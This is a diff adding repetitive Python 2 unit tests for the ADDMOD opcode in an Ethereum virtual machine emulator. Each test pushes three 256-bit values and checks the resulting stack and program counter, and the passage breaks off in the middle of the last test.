+    def test_ADDMOD_18(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_ADDMOD_19(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_ADDMOD_20(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_ADDMOD_21(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [2L])
+
+    def test_ADDMOD_22(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819953L])
+
+    def test_ADDMOD_23(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301264L])
+
+    def test_ADDMOD_24(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [17L])
+
+    def test_ADDMOD_25(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [33L])
+
+    def test_ADDMOD_26(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [49L])
+
+    def test_ADDMOD_27(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718913L])
+
+    def test_ADDMOD_28(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_ADDMOD_29(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_ADDMOD_30(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819953L])
+
+    def test_ADDMOD_31(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639904L])
+
+    def test_ADDMOD_32(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [61514547407324228818772085785865451047049679353621549645961841504203850121215L])
+
+    def test_ADDMOD_33(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819968L])
+
+    def test_ADDMOD_34(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819984L])
+
+    def test_ADDMOD_35(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564820000L])
+
+    def test_ADDMOD_36(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504350043516790537761646130706531776516538464538864L])
+
+    def test_ADDMOD_37(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_ADDMOD_38(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_ADDMOD_39(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301264L])
+
+    def test_ADDMOD_40(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [61514547407324228818772085785865451047049679353621549645961841504203850121215L])
+
+    def test_ADDMOD_41(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [7237005577332262213973186563042994240829374041602535252466099000494570602526L])
+
+    def test_ADDMOD_42(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301279L])
+
+    def test_ADDMOD_43(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301295L])
+
+    def test_ADDMOD_44(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301311L])
+
+    def test_ADDMOD_45(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281527586710570232449627116313036034012829185020175L])
+
+    def test_ADDMOD_46(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x08'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
